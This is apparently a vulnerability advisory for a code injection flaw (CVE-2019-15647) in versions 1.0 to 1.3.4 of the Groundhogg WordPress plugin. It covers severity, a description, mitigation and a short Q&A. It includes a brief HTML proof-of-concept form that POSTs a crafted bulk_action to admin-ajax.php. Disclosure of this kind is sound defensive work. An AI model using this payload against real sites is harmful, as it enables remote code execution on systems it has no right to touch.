#VU22280 Code Injection in Groundhogg - CVE-2019-15647
Vulnerability identifier: #VU22280
Vulnerability risk: High
CVSSv4.0: 7.4 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/U:Amber]
CVE-ID:
CWE-ID:
CWE-94
Exploitation vector: Network
Exploit availability: No
Vulnerable software:
Groundhogg
Web applications /
Modules and components for CMS
Vendor: Adrian Tobey
Description
The vulnerability allows a remote attacker to execute arbitrary code on the target system.
The vulnerability exists due to improper input validation in "wp-admin/admin-ajax.php?action=bulk_action_listener" URL. A remote authenticated attacker can send a specially crafted request and execute arbitrary code on the target system.
Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.
PoC:
<html> <body> <form action="http://[host]/wp-admin/admin-ajax.php?action=bulk_action_listener" method="POST"> <input type="hidden" name="bulk_action" value="do_feed_rss" /> <input type="submit" value="Submit" /> </form> </body> </html>
Mitigation
Install updates from vendor's website.
Vulnerable software versions
Groundhogg: 1.0 - 1.3.4
External links
https://wordpress.org/plugins/groundhogg/#developers
https://www.pluginvulnerabilities.com/2019/04/05/our-proactive-monitoring-caught-an-authenticated-remote-code-execution-rce-vulnerability-being-introduced-in-to-groundhogg
Q & A
Can this vulnerability be exploited remotely?
Yes. This vulnerability can be exploited by a remote authenticated user via the Internet.
Is there known malware, which exploits this vulnerability?
No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.
